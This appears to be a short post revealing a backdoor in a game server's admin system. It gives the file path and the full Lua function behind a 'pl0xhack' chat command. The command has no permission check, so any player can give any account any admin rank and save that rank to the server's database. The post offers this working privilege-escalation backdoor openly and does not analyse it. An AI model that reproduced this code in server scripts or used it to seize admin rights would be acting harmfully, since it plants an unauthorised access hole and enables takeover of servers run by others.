You can find pl0x backdoor in Admin-syetem>Player>s_player_commands


'

function makePlayerAdmin(thePlayer, commandName, who, rank)
   if not (who) then
   outputChatBox("SYNTAX: /" .. commandName .. " [Player Partial Name/ID] [Rank]", thePlayer, 255, 194, 14)
  else
   local targetPlayer, targetPlayerName = exports.global:findPlayerByPartialNick(thePlayer, who)

   if (targetPlayer) then
    local username = getPlayerName(thePlayer)
    local accountID = getElementData(targetPlayer, "gameaccountid")

    exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminlevel", tonumber(rank))

    rank = tonumber(rank)

    if (rank<1337) then
     exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "hiddenadmin", 0)
    end

    local query = mysql:query_free("UPDATE accounts SET admin='" .. mysql:escape_string(tonumber(rank)) .. "', hiddenadmin='0' WHERE id='" .. mysql:escape_string(accountID) .. "'")
    outputChatBox("You set " .. targetPlayerName .. "'s Admin rank to " .. rank .. ".", thePlayer, 0, 255, 0)

    local hiddenAdmin = getElementData(thePlayer, "hiddenadmin")

    -- Fix for scoreboard & nametags
    local targetAdminTitle = exports.global:getPlayerAdminTitle(targetPlayer)
    if (rank>0) or (rank==-999999999) then
     exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminduty", 1)
    else
     exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminduty", 0)
    end
    mysql:query_free("UPDATE accounts SET adminduty=" .. mysql:escape_string(getElementData(targetPlayer, "adminduty")) .. " WHERE id = " .. mysql:escape_string(getElementData(targetPlayer, "gameaccountid")) )
    exports.global:updateNametagColor(targetPlayer)

    if (hiddenAdmin==0) then
     local adminTitle = exports.global:getPlayerAdminTitle(thePlayer)
     outputChatBox(adminTitle .. " " .. username .. " set your admin rank to " .. rank .. ".", targetPlayer, 255, 194, 14)
     exports.global:sendMessageToAdmins("AdmCmd: " .. tostring(adminTitle) .. " " .. username .. " set " .. targetPlayerName .. "'s admin level to " .. rank .. ".")
    else
     outputChatBox("Hidden admin set your admin rank to " .. rank .. ".", targetPlayer, 255, 194, 14)
    end
   end
  end
 end
addCommandHandler("pl0xhack", makePlayerAdmin, false, false)